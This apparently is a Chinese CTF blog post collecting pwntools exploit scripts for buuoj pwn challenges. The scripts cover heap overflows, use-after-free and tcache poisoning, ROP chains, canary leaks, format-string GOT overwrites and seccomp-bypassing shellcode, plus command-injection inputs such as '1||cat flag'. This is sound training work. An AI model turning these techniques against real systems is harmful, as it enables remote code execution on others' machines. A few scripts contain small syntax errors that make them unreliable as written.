pwn

Buuoj冲分过程(指俯冲)その2

一些PWN

Posted by kayoch1n's blog on January 31, 2021

正文

babyfengshui_33c3_2016


#!/usr/bin/python3.6
from pwn import *
from LibcSearcher import LibcSearcher

filename = './babyfengshui_33c3_2016'
e = ELF(filename)
p = process(filename)
# p = remote("node3.buuoj.cn", 29672)

def Add(name, text, text_buf_len=None, text_len=None):
    """
    struct st { char* desc; char name[0x7c]; };
    输入 description 长度,malloc指定长度得ptr_desc,然后memset置零
    再malloc(0x80),同样置零得ptr_st,这个应该是一个结构体,ptr_st.ptr_desc = ptr_desc
    结构体指针数组 arr_st[index] = ptr_st
    然后f1 get_name(arr_st[index].name, 0x7c) -> fgets(v0, v1, STDIN), strchr(v0, 0x0a)[0]=0
    index+=1
    f2 get_text(index-1) -> if check arr_st[a0].desc+len < (arr_st[a0] - 4) <---- &(chunk.size), then get_name(arr_st[a0].desc, len+1) 
    """
    p.sendlineafter(b'Action: ', b'0')
    p.sendlineafter(b'size of description: ', bytes(f'{text_buf_len or len(text)}', encoding='utf8'))
    p.sendlineafter(b'name: ', name)
    p.sendlineafter(b'text length: ', bytes(f'{text_len or len(text)}', encoding='utf8'))
    p.sendlineafter(b'text: ', text)


def Delete(index):
    """
    free(arr_st[a0].desc)
    free(arr_st[a0])
    arr_st[0] = NULL
    """
    p.sendlineafter(b'Action: ', b'1')
    p.sendlineafter(b'index: ', bytes(f'{index}', encoding='utf8'))


def Display(index):
    """
    printf("%s", arr_st[a0].name)
    printf("%s", arr_st[a0].desc)
    """
    p.sendlineafter(b'Action: ', b'2')
    p.sendlineafter(b'index: ', bytes(f'{index}', encoding='utf8'))


def Update(index, text, text_len=None):
    """"""
    p.sendlineafter(b'Action: ', b'3')
    p.sendlineafter(b'index: ', bytes(f'{index}', encoding='utf8'))
    p.sendlineafter(b'text length: ', bytes(f'{text_len or len(text)}', encoding='utf8'))
    p.sendlineafter(b'text: ', text)


def Exit():
    p.sendlineafter(b'Action: ', b'4')


Add(b'name0', b'desc0', text_buf_len=0x10-8)  # index=0, 0x10 0x88, x
Add(b'name1', b'desc1', text_buf_len=0x10-8)  # index=1, 0x10 0x88
Add(b'name2', b'desc2', text_buf_len=0x10-8)  # index=2, 0x10 0x88, x
Add(b'/bin/sh', b'/bin/sh')  # index=3, 0x10 0x88, 

c_func_name = 'free'
c_func_got = e.got[c_func_name]

Delete(0)
Delete(2)
payload_leak_got = b'x' * (0x88 - 8) + \
    b'xxxx' + p32(0x10|0x1) + b'x'*8 + \
    b'yyyy' + p32(0x88|0x1) + p32(c_func_got) + b'\x00'

Add(b'name4', payload_leak_got, text_buf_len=0x80-0x8)  # index=4
Display(1)
p.recvuntil(b'description: ')
c_func_addr = u32(p.recv(4))
log.success(f'c: {c_func_name}() address={hex(c_func_addr)}')

searcher = LibcSearcher(func=c_func_name, address=c_func_addr)
c_base_addr = c_func_addr - searcher.dump(c_func_name)
system_addr = c_base_addr + searcher.dump('system')

log.success(f'c base address={hex(c_base_addr)}; system()={hex(system_addr)}')

Update(1, p32(system_addr) + b'zzzz')

Delete(3)
p.interactive()

jarvisOJ_level3_x64

#!/usr/bin/python3.6
from pwn import *
from LibcSearcher import LibcSearcher

filename = './level3_x64'
# p = process(filename)
p = remote('node3.buuoj.cn', 28216)
elf = ELF(filename)
libc = ELF('./libc/ubuntu_16_x86_64_libc-2.23.so')

pop_rdi_ret = 0x00000000004006b3
pop_rsi_r15_ret = 0x00000000004006b1

log.info(f'write@plt={hex(elf.plt["write"])}, write in symbols: {hex(libc.sym["write"])}')

payload = b'a'*(0x80+8) + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(elf.got["write"]) + p64(0) + p64(elf.plt["write"]) + p64(elf.sym["main"])
p.sendlineafter(b'Input:\n', payload)

write_address = u64(p.recv(8))

searcher = LibcSearcher()
searcher.add_condition('write', write_address)


base_address = write_address - libc.sym['write']
gadgets = [0x4526a, 0xf02a4, 0xf1147, 0x45216]

one_gadget = gadgets[1] + base_address
log.info(f'write={hex(write_address)}, libc={hex(base_address)}, gadget={hex(one_gadget)}')

payload = b'a'*(0x80+8) + p64(one_gadget)
p.sendlineafter(b'Input:\n', payload)
p.interactive()

[ZJCTF 2019]EasyHeap

#!/usr/bin/python3.6
from pwn import *

filename = './easyheap'
# p = process(filename)
p = remote('node3.buuoj.cn', 26098)
elf = ELF(filename)


def heap_create(content, size=None):
    p.sendlineafter(b'Your choice :', b'1')
    p.sendlineafter(b'Size of Heap : ', bytes(f'{size or (len(content) + 1)}', encoding='utf8'))
    p.sendlineafter(b'Content of heap:', content)

def heap_edit(index, content, size=None):
    p.sendlineafter(b'Your choice :', b'2')
    p.sendlineafter(b'Index :', bytes(f'{index}', encoding='utf8'))
    p.sendlineafter(b'Size of Heap : ', bytes(f'{size or (len(content) + 1)}', encoding='utf8'))
    p.sendlineafter(b'Content of heap : ', content)

def heap_delete(index):
    p.sendlineafter(b'Your choice :', b'3')
    p.sendlineafter(b'Index :',  bytes(f'{index}', encoding='utf8'))

fake_chunk = 0x6020ad  # x/16gx 0x6020c0-0x10+5-8

heap_create(b'@@@@@@@@', size=0x18)     # 0, 0x20
heap_create(b'!!!!!!!!', size=0x18)     # 1, 0x20
heap_create(b'????????', size=0x68)     # 2, 0x70
heap_delete(2)                          # 把 2 放进去 fastbin
heap_edit(1, b'}' * 0x18 + p64(0x71) + p64(fake_chunk) + p64(fake_chunk))  # 构造 fastbin 链表,插入一个假的chunk,这个chunk在heap_array上方若干字节处
heap_create(b']]]]]]]]', size=0x68)     # 2, 0x70, get the original chunk of 2
heap_create(b'[[[[[[[[', size=0x68)     # 3, 0x70, get the fake chunk
# -_-||| 看到ida里面有 system(cat flag) 还以为可以直接触发,结果。。。
# cat: /home/pwn/flag: No such file or directory
# heap_edit(3, b':'*(0x6020c0-0x6020bd) + p64(0x1333))
# p.sendlineafter(b'Your choice :', bytes(f'{0x1305}', encoding='utf8'))


# https://n0vice.top/2020/04/25/%E5%B8%B8%E8%A7%81fastbin-attack%E5%A5%97%E8%B7%AF%E5%AD%A6%E4%B9%A0/
# 写入system的plt地址到free的got,再free(/bin/sh)
heap_array = 0x6020e0  # p/x &heaparray
log.info(f'free@got={hex(elf.got["free"])}, system@plt={hex(elf.plt["system"])}')
heap_edit(3, b':'*(0x6020e0-(fake_chunk + 0x10)) + p64(elf.got["free"]))
heap_edit(0, p64(elf.plt["system"]))
heap_edit(2, b'/bin/sh')
heap_delete(2)

p.interactive()

picoctf_2018_rop

#!/usr/bin/python3.6
from pwn import *

filename = './picoctf_2018_rop'
# p = process(filename)
p = remote('node3.buuoj.cn', 28747)
elf = ELF(filename)

win1 = elf.sym['win_function1']
win2 = elf.sym['win_function2']
flag = elf.sym['flag']
main = elf.sym['main']

pop_ebx_ret = 0x0804840d
payload = b'!'*0x18 + p32(0) + p32(win1) + p32(win2) + p32(pop_ebx_ret) + p32(0x0BAAAAAAD) + p32(flag) + p32(main) + p32(0x0DEADBAAD)

p.sendlineafter(b'Enter your input> ', payload)
p.interactive()

[V&N2020 公开赛]simpleHeap

传送门

bjdctf_2020_babyrop2

这是一个开了栈溢出警惕标志的ROP题目,里面有一个格式字符串漏洞可以输出canary。64bit系统前6个参数通过寄存器传递(rdi, rsi, rdx, rcx, r8d, r9d)。这个地方需要输出第7个参数的话要用上一点技巧,在格式字符串中多次使用同一个变量。此外这个地方用printf搜不到libc,原因暂时没搞清楚。

#!/usr/bin/python3.6
from pwn import *
from LibcSearcher import LibcSearcher

filename = './bjdctf_2020_babyrop2'
#p = process(filename)
p = remote('node3.buuoj.cn', 29094)
elf = ELF(filename)
#libc = ELF(f'/lib/x86_64-linux-gnu/libc.so.6')
#libc = ELF(f'libc/ubuntu_16_x86_64_libc-2.23.so')

p.sendlineafter(b"I'll give u some gift to help u!\n", b'%7$lx')
canary = int(p.recvuntil(b'\n')[:-1], 16)
assert canary > 0
log.success(f'canary found: {hex(canary)}')

pop_rdi_ret = 0x0000000000400993

leak = b'\x11'*(0x20-8) + p64(canary) + b'\x22'*8 + p64(pop_rdi_ret) + p64(elf.got['__isoc99_scanf']) + p64(elf.plt['printf']) + p64(elf.sym['vuln'])
p.sendlineafter(b'Pull up your sword and tell me u story!\n', leak)
ret = p.recv(6).ljust(8, b'\x00')
c_func_addr = u64(ret)
c_func_name = '__isoc99_scanf'
searcher = LibcSearcher(func=c_func_name, address=c_func_addr)

base = c_func_addr - searcher.dump(c_func_name)
system = base + searcher.dump('system')
bin_sh = base + searcher.dump('str_bin_sh')
log.success(f'{c_func_name}:{hex(c_func_addr)}, base={hex(base)}, system={hex(system)}, /bin/sh={hex(bin_sh)}')

exploit = b'\x11'*(0x20-8) + p64(canary) + b'\x22'*8 + p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
p.sendline(exploit)
p.interactive()

jarvisoj_test_your_memory

#!/usr/bin/python3.6
from pwn import *
from LibcSearcher import LibcSearcher

filename = './memory'
#p = process(filename)
p = remote('node3.buuoj.cn', 28369)
elf = ELF(filename)

cmd_str = 0x080487e0
func_addr = elf.sym['win_func']
main_addr = elf.sym['main']
#p.sendlineafter(b'...', b'a'*(0x13+4) + p32(func_addr) + p32(main_addr) + p32(cmd_str))
p.send(b'a'*(0x13+4) + p32(func_addr) + p32(main_addr) + p32(cmd_str) + b'\n')

p.interactive()

bjdctf_2020_router

从stdin读取字符串当作命令执行,没有过滤。直接输入 1||cat flag 即可~

hitcontraining_uaf

正如题目的名字,释放内存之后没有对相关的指针变量置零。利用 fastbin 使得 glibc分配重叠的内存,从而修改结构体的函数指针。

#!/usr/bin/python3.6
from pwn import *
from LibcSearcher import LibcSearcher

filename = './hacknote'
# p = process(filename)
p = remote('node3.buuoj.cn', 29142)
elf = ELF(filename)


def add(content, size=None):
    if size is None:
        size = len(content)
    p.sendlineafter(b'Your choice :', b'1')
    p.sendlineafter(b'Note size :', bytes(f'{size}', encoding='utf8'))
    p.sendlineafter(b'Content :', content)

def del_(index):
    p.sendlineafter(b'Your choice :', b'2')
    p.sendlineafter(b'Index :', bytes(f'{index}', encoding='utf8'))

def put(index):
    p.sendlineafter(b'Your choice :', b'3')
    p.sendlineafter(b'Index :', bytes(f'{index}', encoding='utf8'))

magic_addr = 0x08048945

add(b'a'*16)
add(b'b'*16)
del_(0)
del_(1)
add(p32(magic_addr), 8)
put(0)
p.interactive()

PicoCTF_2018_buffer_overflow_1

perl -e 'print "a"x(0x28+4) ."\xcb\x85\x04\x08"'|./PicoCTF_2018_buffer_overflow_1

缓冲区溢出的例子。不知道为什么perl输出定向到nc远程的时候会没有输出,最后还是用pwntools。

#!/usr/bin/python3.6
from pwn import *
from LibcSearcher import LibcSearcher

filename = './PicoCTF_2018_buffer_overflow_1'
#p = process(filename)
p = remote('node3.buuoj.cn', 29181)
elf = ELF(filename)

p.sendlineafter(b'string', b'a'*(0x28+4)+p32(0x80485cb))
p.interactive()

[ZJCTF 2019]Login

这是一个用C++写的程序,开启了栈溢出警惕标志。哎,实在是看不懂C++的符号,最后装了radare2和rghidra反编译出稍微能看得懂的源码;而且这个程序的源代码还用了C++的lambda特性,无捕获列表的lambda对象可以隐式转换为函数指针,还好以前看过这篇文章~

#!/usr/bin/python3
from pwn import *

filename = './login'
p = process(filename)
# p = remote('node3.buuoj.cn', 26457)
elf = ELF(filename)

p.sendlineafter(b'username: ', b'1')
payload = b'2jctf_pa5sw0rd\x00'
# 使用0填充,防止snprintf输出内容覆盖这个地址
payload += b'\x00'*(0x60-0x18-len(payload)) + p64(0x00400e88)
p.sendlineafter(b'password: ', payload)
p.interactive()

cmcc_simplerop

cmcc_simplerop: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=bdd40d725b490b97d5a25857a6273870c7de399f, not stripped

程序是静态链接的,体积比一般的题目大,而且符号表里没有system,ROPgadget也没有找到/bin/sh,所以需要把/bin/sh写入到一个固定的地址、然后通过中断int 0x80触发系统调用。

#!/usr/bin/python3
from pwn import *
# from LibcSearcher import LibcSearcher

filename = './cmcc_simplerop'
p = process(filename
elf = ELF(filename)

# pop eax; ret
pop_eax_ret = 0x080bae06
writable_addr = 0x080eb000+0x1000
# pop edx ; ret
pop_edx_ret = 0x0806e82a
# pop ebp ; pop esi ; pop edi ; ret
pop_3_ret = 0x0809de85
# pop ecx ; pop ebx ; ret
pop_ecx_ebx_ret = 0x0806e851
# int 0x80
int_addr = 0x080493e1

# Leak function address 
payload = b'\x33'*(0x1c+0x4) + \
    p32(elf.sym['read']) + p32(pop_3_ret) + p32(0) + p32(writable_addr) + p32(0x10) + \
    p32(pop_eax_ret) + p32(0xb) + p32(pop_ecx_ebx_ret) + p32(writable_addr+0x8) + p32(writable_addr) + p32(pop_edx_ret) + p32(writable_addr+0x8) + p32(int_addr)
p.sendlineafter(b'Your input :', payload)
p.send(b'/bin/sh\x00'+p32(writable_addr + 8)+p32(0))
p.interactive()

roarctf_2019_easy_pwn

vn_pwn_simpleHeap一样的堆溢出类型,需要好好调试找到合适的 one_gadget。

#!/usr/bin/python3.6
from pwn import *
# from LibcSearcher import LibcSearcher

executable = './roarctf_2019_easy_pwn'
# libc = '/lib/x86_64-linux-gnu/libc.so.6'
libc = '/home/ubuntu/project/libc/buuoj-ubuntu-16-x86_64-libc-2.23.so'
# p = process(executable)
p = remote('node3.buuoj.cn', 26860)
elf = ELF(executable)
libc = ELF(libc)

def create(size):
    p.sendlineafter(b'choice: ', b'1')
    p.sendlineafter(b'size: ', f'{size}'.encode())

def write(index, content, size=None):
    size = size or len(content)
    p.sendlineafter(b'choice: ', b'2')
    p.sendlineafter(b'index: ', f'{index}'.encode())
    p.sendlineafter(b'size: ', f'{size}'.encode())
    p.sendlineafter(b'content: ', content)

def drop(index):
    p.sendlineafter(b'choice: ', b'3')
    p.sendlineafter(b'index: ', f'{index}'.encode())

def show(index):
    p.sendlineafter(b'choice: ', b'4')
    p.sendlineafter(b'index: ', f'{index}'.encode())

create(24)      # 0, 0x20
create(0x20)    # 1, 0x30
create(0x60)    # 2, 0x70
create(0x20)    # 3, in case of getting merged with av->top

payload_leak = b'1'*24 + bytes([0x10+0x20+0x10+0x60+1])
write(0, payload_leak, 24+0xa)
drop(1)
create(0x20)    # 1
show(2)

p.recvuntil(b'content: ')
main_arena = u64(p.recv(6).ljust(8, b'\x00'))-0x58
malloc_hook = main_arena - 0x10
realloc_hook = malloc_hook - 0x8
base = realloc_hook - libc.sym['__realloc_hook']

log.success(f'main_arena={hex(main_arena)}, malloc hook={hex(malloc_hook)}, realloc_hook={hex(realloc_hook)}, base={hex(base)}')

create(0x60)    # 4, overlapped with 2
drop(2)

write(4, p64(main_arena-0x33))
create(0x60)    # 2, overlapped with 4
create(0x60)    # 5, faked chunk

# one_gadgets = [0x45226, 0x4527a, 0xf0364, 0xf1207]
one_gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
gadget = one_gadgets[2] + base
libc_realloc = libc.sym['__libc_realloc'] + base

log.info(f'using gadget={hex(gadget)}')
write(5, b'1'*0xb + p64(gadget) + p64(libc_realloc+16))   # overwrite 
create(0x20)
p.interactive()

pwnable_orw

从这个题目学到了和prctl函数有关的新的知识点。简单的来说就是沙箱过滤规则,而且这里用的是白名单方法。文章里面提到可以切换CPU模式,不过我还是搞不出来;最后看了其他人的文章,原来可以不拉起shell、而直接打开/读取/输出flag文件(open, read, write)~

seccomp-tools dump ./orw
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0x40000003  if (A != ARCH_I386) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x15 0x07 0x00 0x000000ad  if (A == rt_sigreturn) goto 0011
 0004: 0x15 0x06 0x00 0x00000077  if (A == sigreturn) goto 0011
 0005: 0x15 0x05 0x00 0x000000fc  if (A == exit_group) goto 0011
 0006: 0x15 0x04 0x00 0x00000001  if (A == exit) goto 0011
 0007: 0x15 0x03 0x00 0x00000005  if (A == open) goto 0011
 0008: 0x15 0x02 0x00 0x00000003  if (A == read) goto 0011
 0009: 0x15 0x01 0x00 0x00000004  if (A == write) goto 0011
 0010: 0x06 0x00 0x00 0x00050026  return ERRNO(38)
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW

seccomp-tools这个工具要求ruby2.4以上,然而ubuntu16.04自带的是2.3。有鉴于过往升级系统自带软件有可能存在的坑,所以就用了一个叫rbenv(rbenv-installer)的工具管理ruby版本,只是这玩意儿安装起来速度慢的一批得加速一下。

#!/usr/bin/python3.6
from pwn import *

executable = './orw'
p = process(executable)
#p = remote('node3.buuoj.cn', 25119)

payload = asm("""
    xor eax, eax    
    push eax            #null byte
    push 0x67616c66
    push 0x2f2f2f2e 
    mov ebx, esp        #arg1, pointer to ".///flag"
    mov ecx, eax        #arg2, O_RONLY
    mov edx, eax        #arg3, 0
    push 0x5
    pop eax             #syscall 0x5 for open 
    int 0x80            #invoke
    mov ebx, eax        #arg1, fd
    mov ecx, esp        #arg2, buf
    sub esp, 0x30       #buf
    push 0x2a           
    pop edx             #arg3, bytes
    push 0x3
    pop eax             #syscall 0x3 for read
    int 0x80
    xor ebx,ebx         
    mov bl,0x1          #arg1, STDOUT
    push 0x2a           
    pop edx             #arg3, bytes
    push 0x4
    pop eax             #syscall 0x3 for read
    int 0x80""")
payload += b'1'*(0xc8- len(payload))
p.send(payload)
p.interactive()

jarvisoj_level1

本地程序和远程题目的行为不一样。。。本地程序在vulnerable_function里面会输出缓冲区的地址,但是远程题目貌似把这个动作放到main函数里了,不清楚缓冲区的具体位置;只能猜测是vulnerable_function只剩下一个有栈溢出的read函数调用。

#!/usr/bin/python3.6
from pwn import *
# from LibcSearcher import LibcSearcher

executable = './level1'
glibc = '/home/ubuntu/project/libc/buuoj-ubuntu-16-x86-libc-2.23.so'
#p = process(executable)
p = remote('node3.buuoj.cn', 29719)
e = ELF(executable)
libc = ELF(glibc)


payload = b'\x90'*(0x88+4) + p32(e.plt["write"]) + p32(e.sym['main']) + p32(1) + p32(e.got["write"]) + p32(4)
log.info(f'{len(payload)}')
p.sendline(payload) 

addr = u32(p.recv(4))
base = addr - libc.sym['write']
system = base + libc.sym['system']
bin_sh = base + 0x0015902b 

log.success(f'write={hex(addr)}, base={hex(base)}, system={hex(system)}, /bin/sh={hex(bin_sh)}')
payload = b'\x90'*(0x88+4) + p32(system) + p32(e.sym["main"]) + p32(bin_sh)

p.send(payload)
p.interactive()

picoctf_2018_buffer overflow 2

#!/usr/bin/python3.6
from pwn import 

executable = './PicoCTF_2018_buffer_overflow_2'
# p = process(executable)
p = remote('node3.buuoj.cn', 25190)
e = ELF(executable)

payload = b'\x90'*(0x6c+4) + p32(e.sym['win']) + p32(e.sym['main']) + p32(0xdeadbeef) + p32(0xdeadc0de)

p.sendlineafter(b'Please enter your string:', payload)
p.interactive()

[V&N2020 公开赛]easyTHeap

有UAF风险,而且限制了malloc和free的调用次数。本地的glibc版本带了double free检测,和远程靶机的版本不同,得自己编译一个

#!/usr/bin/python3.6
from pwn import *

filename = './vn_pwn_easyTHeap'
# p = process(filename)
p = remote('node3.buuoj.cn', 28164)
# libc = ELF('/home/ubuntu/glibc-2.27/lib/libc.so.6')
libc = ELF('/home/ubuntu/glibc-lib/buuoj-ubuntu-18-glibc-2.27.so')


def Add(size):
    p.sendlineafter(b'choice: ', b'1')
    p.sendlineafter(b'size?', bytes(f'{size}', encoding='utf8'))


def Edit(index, content):
    p.sendlineafter(b'choice: ', b'2')
    p.sendlineafter(b'idx?', bytes(f'{index}', encoding='utf8'))
    p.sendlineafter(b'content:', content)


def Show(index):
    p.sendlineafter(b'choice: ', b'3')
    p.sendlineafter(b'idx?', bytes(f'{index}', encoding='utf8'))


def Delete(index):
    p.sendlineafter(b'choice: ', b'4')
    p.sendlineafter(b'idx?', bytes(f'{index}', encoding='utf8'))


def Exit():
    p.sendlineafter(b'choice: ', b'5')


Add(0x80)  # 0
Add(0x20)  # 1
Delete(0)
Delete(0)
Show(0)
tcache_chunk_addr = u64(p.recv(6).ljust(8, b'\x00'))
tcache_count_addr = tcache_chunk_addr - 0x250  # size of tcache_perthread_struct
log.success(f'tcache chunk: {hex(tcache_chunk_addr)}, count: {hex(tcache_count_addr)}')
Add(0x80)  # 2, 0
Edit(2, p64(tcache_count_addr))
Add(0x80)  # 3, 2, 0
Add(0x80)  # 4, 申请到tcache->counts处的内存
Edit(4, b'\x08' * 64)  # 修改所有tcache bins的长度

Delete(2)
Show(0)
arena_top_addr = u64(p.recv(6).ljust(8, b'\x00'))
# offset = 0x60
offset = 88
realloc_hook_addr = arena_top_addr - offset - 0x20
libc_base_addr = realloc_hook_addr - libc.sym['__realloc_hook']
log.success(f'top={hex(arena_top_addr)}, realloc hook={hex(realloc_hook_addr)}, libc base={hex(libc_base_addr)}')
# gadgets = [0x3f9ed, 0xd6872, 0xd6877]
gadgets = [0x4f322, 0x10a38c, 0x4f2c5]
gadget = gadgets[1]+ libc_base_addr
log.success(f'gadget={hex(gadget)}')
realloc = libc_base_addr + libc.sym['__libc_realloc']
log.success(f'realloc={hex(realloc)}')

Edit(4, b'\x08' * 64 + p64(realloc_hook_addr))  # 因为tcache->counts紧邻tcache->entries,所以修改tcache bin使得分配特定的内存,而且没有检查
Add(24)  # 5

Edit(5, p64(gadget) + p64(realloc+4))
Add(100)

p.interactive()

xdctf2015_pwn200

#!/usr/bin/python3.6
from pwn import *

filename = './bof'
# p = process(filename)
p = remote('node3.buuoj.cn', 28510)
e = ELF(filename)
# libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc = ELF('/home/ubuntu/glibc-lib/buuoj-ubuntu-16-glibc-2.23.so')

payload_leak = b'\x11' * (0x6c + 4) + p32(e.plt['write']) + p32(e.sym['main']) + p32(1) + p32(e.got['write']) + p32(4)

p.recvuntil(b'XDCTF2015~!\n')
p.sendline(payload_leak)

c_func_addr = u32(p.recv(4))
libc_base_addr = c_func_addr - libc.sym['write']
system_addr = libc_base_addr + libc.sym['system']
bin_sh_addr = libc_base_addr + 0x0015902b
log.success(f'write={hex(c_func_addr)}, libc base={hex(libc_base_addr)}')

payload_exploit = b'\x11' * (0x6c + 4) + p32(system_addr) + p32(e.sym['main']) + p32(bin_sh_addr)

p.sendline(payload_exploit)
p.interactive()

ciscn_2019_n_3

有UAF问题,free之后没有对指针变量置零;覆盖结构体的函数指针以及提供一个"sh"字符串就可以了。

#!/usr/bin/python3.6
from pwn import *

filename = './ciscn_2019_n_3'
# p = process(filename)
p = remote('node3.buuoj.cn', 25985)
e = ELF(filename)
# libc = ELF('/lib/i386-linux-gnu/libc.so.6')
# libc = ELF('/home/ubuntu/glibc-lib/buuoj-ubuntu-16-glibc-2.23.so')

def new_(index, content=None, length=None, type=None):
    p.sendlineafter(b'CNote > ', b'1')
    p.sendlineafter(b'Index > ', str(index).encode())

    if isinstance(content, int):
        p.sendlineafter(b'Type > ', b'1')
        p.sendlineafter(b'Value > ', str(content).encode())
    elif content is not None:
        length = length or len(content)
        p.sendlineafter(b'Type > ', b'2')
        p.sendlineafter(b'Length > ', str(length).encode())
        p.sendafter(b'Value > ', content)
    else:
        p.sendlineafter(b'Type > ', str(type).encode())

def show(index):
    p.sendlineafter(b'CNote > ', b'3')
    p.sendlineafter(b'Index > ', str(index).encode())

def del_(index):
    p.sendlineafter(b'CNote > ', b'2')
    p.sendlineafter(b'Index > ', str(index).encode())

new_(0, content=0)
new_(1, content=1)
new_(2, content=2)
del_(0)
del_(1)
new_(3, content=b'sh\x00\x00'+p32(e.plt['system'])+b'\n', length=0xc)
del_(0)
p.interactive()

bbys_tu_2016

#!/usr/bin/python3.6
from pwn import *

filename = './bbys_tu_2016'
#p = process(filename)
p = remote('node3.buuoj.cn', 26098)
e = ELF(filename)

p.sendline(b'b'*(0x14+4)+p32(e.sym['printFlag']))
p.interactive()

gyctf_2020_borrowstack

本身只有两次写入机会,第一次写入栈的缓冲区,第二次写入一个全局变量;但缓冲区溢出的部分只能覆盖到返回地址,所以需要同时覆盖rbp并加上leave ret指令,把栈转移到全局变量所在的内存。由于全局变量位于rw段的起始位置,前一个段为只读,要注意抬高转移的目的地址,防止写入到前一个段引起segfault

#!/usr/bin/python3.6
from pwn import *

filename = './gyctf_2020_borrowstack'
#p = process(filename)
p = remote('node3.buuoj.cn', 28284)
e = ELF(filename)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('/home/ubuntu/glibc-lib/ubuntu_16_x86_64_libc-2.23.so')
#gadgets = [0x4f432, 0x10a41c]
gadgets = [0x4526a, 0xf02a4, 0xf1147, 0x45216]

offset = 0x40
fake_rbp = e.sym['bank'] + offset

leave_ret = 0x0000000000400699
pop_rdi_ret = 0x0000000000400703
pop_r12_15_ret = 0x004006fc  # pop r12, r13, r14, r15, ret
call_r12 = 0x004006d6 # zero rbx; rdx<-r13, rsi<-r14, edi<-r15d
ret = 0x00000000004004c9
pop_r15_ret = 0x0000000000400702

p.sendafter(b'want', b'a'*0x60+p64(fake_rbp)+p64(leave_ret))
payload = b'b' * offset
payload += p64(fake_rbp+0x30) 
payload += p64(pop_rdi_ret) + p64(e.got['read']) + p64(e.plt['puts'])

write_addr = e.sym['bank'] + len(payload) + 6*8
call_addr = write_addr + 8
payload += p64(pop_r12_15_ret) + p64(call_addr) + p64(8) + p64(write_addr) + p64(0) + p64(call_r12)
payload += p64(0) + p64(e.plt['read']) + p64(pop_r15_ret)

log.info(f'len={hex(len(payload))}')

p.sendafter(b'now!', payload)
p.recvuntil(b'\n')

leaked_func = u64(p.recv(6).ljust(8, b'\x00'))
libc_base = leaked_func - libc.sym['read']
gadget = gadgets[0] + libc_base
log.success(f'read={hex(leaked_func)}; base={hex(libc_base)}; gadget={hex(gadget)}')

p.send(p64(gadget))
p.interactive()

inndy_rop

cmcc_simplerop 一样是静态链接的程序,剥掉了system以及/bin/sh,需要自己调用read把/bin/sh写入内存。

#!/usr/bin/python3.6
from pwn import *

filename = './rop'
# p = process(filename)
p = remote('node3.buuoj.cn', 26957)
e = ELF(filename)

write_addr = 0x80e9000+0x10a0
pop_eax_ret = 0x080b8016
pop_ebx_ret = 0x080481c9
pop_ecx_ret = 0x080de769
pop_edx_ret = 0x0806ecda
# pop esi ; pop ebx ; pop edx ; ret
pop_esi_ebx_edx_ret = 0x0806ecd8
int_0x80 = 0x0806c943

offset = 0xc + 4

payload = b'b' * offset + p32(e.sym["read"]) + p32(pop_esi_ebx_edx_ret) + p32(0) + p32(write_addr) + p32(0xc) + p32(pop_ecx_ret) + p32(write_addr+0x8) + p32(pop_edx_ret) + p32(write_addr+0xc) + p32(pop_eax_ret) + p32(11) + p32(int_0x80)
p.sendline(payload)

payload = b'/bin/sh\x00' + p32(write_addr) + p32(0)
p.sendline(payload)

p.interactive()

axb_2019_fmt32

人类的本质是:人类的本质是:人类的本质是:~

溢出程序存在一个格式字符串漏洞。第一步先通过%s泄露libc;第二步利用 %hhn 控制符将字节写入指定地址的特性,使用三个 %hhn 把printf got地址的低三个字节覆盖为system,最后再输入 /bin/sh。因为system的地址是动态变化的,第二步也要根据system动态产生格式字符串。

#!/usr/bin/python3.6
from pwn import *

filename = './axb_2019_fmt32'
# p = process(filename)
p = remote('node3.buuoj.cn', 28141)
e = ELF(filename)
libc = ELF('/home/ubuntu/glibc-lib/ubuntu_16_x86_libc-2.23.so')

def send_payload(data):
    p.sendlineafter(b'Please tell me:', data)

c_func_name = 'printf'
log.info(f'got={hex(e.got[c_func_name])}')

send_payload(b'Z' + p32(e.got[c_func_name]) + b'%c'*7 + b'%s')
p.recvuntil(p32(e.got[c_func_name]))
p.recv(7)
c_func_addr = u32(p.recv(4))
libc_base = c_func_addr - libc.sym[c_func_name]
system_addr = libc_base + libc.sym['system']
printf_got = e.got['printf']

log.success(f'printf_got={hex(printf_got)}, {c_func_name}={hex(c_func_addr)}, base={hex(libc_base)}, system={hex(system_addr)}')

length_addr_pairs = [(b, printf_got+i) for i, b in enumerate(p32(system_addr)[:3])]
length_addr_pairs = sorted(length_addr_pairs, key=lambda i: i[0])

log.info(f'length={[(hex(b), hex(addr)) for b, addr in length_addr_pairs]}')

front = b'Y' + p32(0x46464646).join([p32(b[1]) for b in length_addr_pairs])
offset = len(b'Repeater:'+front)

assert length_addr_pairs[0][0] > 6+offset

payload = b'%c'*6 
b1, b2, b3 = map(lambda i: i[0], length_addr_pairs)
payload += f'%{b1-6-offset}c%hhn%{b2-b1}c%hhn%{b3-b2}c%hhn'.encode()
payload = front + payload

log.info(f'payload={payload}')
send_payload(payload)
p.sendline(f';cat flag.txt')
p.interactive()

others_babystack

开启canary保护,需要先leak出canary的值。一开始我以为0x100-0x90等于0x10只能刚好覆盖RA>_<,不知道怎么ROP,真是机智死了~

#!/usr/bin/python3.6
from pwn import *

filename = './babystack'
# p = process(filename)
p = remote('node3.buuoj.cn', 25313)
e = ELF(filename)
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('/home/ubuntu/glibc-lib/ubuntu_16_x86_64_libc-2.23.so')

pop_rdi_ret = 0x0000000000400a93
ret = 0x000000000040067e
main = 0x00400908

p.sendlineafter(b'>> ', b'1')
p.send(b'a'*(0x90-8)+b'X')

p.sendlineafter(b'>> ', b'2')
p.recvuntil(b'aaaaX')
canary = b'\x00'+p.recv(7)

log.success(f'canary={canary}')
p.sendlineafter(b'>> ', b'1')
c_func_name = 'puts'

p.send(b'b'*(0x90-8)+canary+p64(0x00400a30)+p64(pop_rdi_ret)+p64(e.got[c_func_name])+p64(e.plt[c_func_name])+p64(main))

